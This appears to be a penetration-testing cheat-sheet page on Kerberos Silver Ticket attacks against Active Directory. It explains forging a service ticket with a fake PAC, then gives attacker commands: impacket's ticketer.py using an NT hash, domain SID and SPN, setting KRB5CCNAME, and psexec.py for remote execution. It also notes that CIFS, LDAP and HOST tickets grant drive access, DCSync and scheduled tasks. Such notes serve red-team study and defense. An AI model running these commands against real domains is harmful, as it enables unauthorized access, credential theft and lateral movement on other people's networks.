Silver Tickets

A Silver Ticket is a custom Service Ticket that allows any domain user to gain access to any service on a computer.

An attacker can create a Service Ticket using any arbitrary domain account, a target SPN, and a forged Privilege Attribute Certificate (PAC) that states that the arbitrary domain user has full access to the service.

The password for the target service computer account is required to create a Silver Ticket since the Privilege Attribute Certificate and Service Ticket are both encrypted using the service account's password.

Exploit

impacket-ticketer

GitHub - fortra/impacket: Impacket is a collection of Python classes for working with network protocols.GitHub

Linux (Attacker)

## Create A Silver Ticket Using the NT Hash of the Target Account and Target SPN
ticketer.py -nthash [nt hash] -domain-sid [domain sid] -domain [domain] -spn cifs/computer.weelee.zip weelee

## Set Obtained .ccache to Kerberos Credential Cache
export KRB5CCNAME=[path to .ccache]

## Use Your Exec Tool of Choice to Access Your Specific Service
psexec.py [domain]/[username]@[computer] -k -no-pass

Mimikatz

Rubeus

CIFS Allows you to access the C Drive and Admin Drive via SMB

LDAP Allows you to DCSync

HOST Allows you to create scheduled tasks on the computer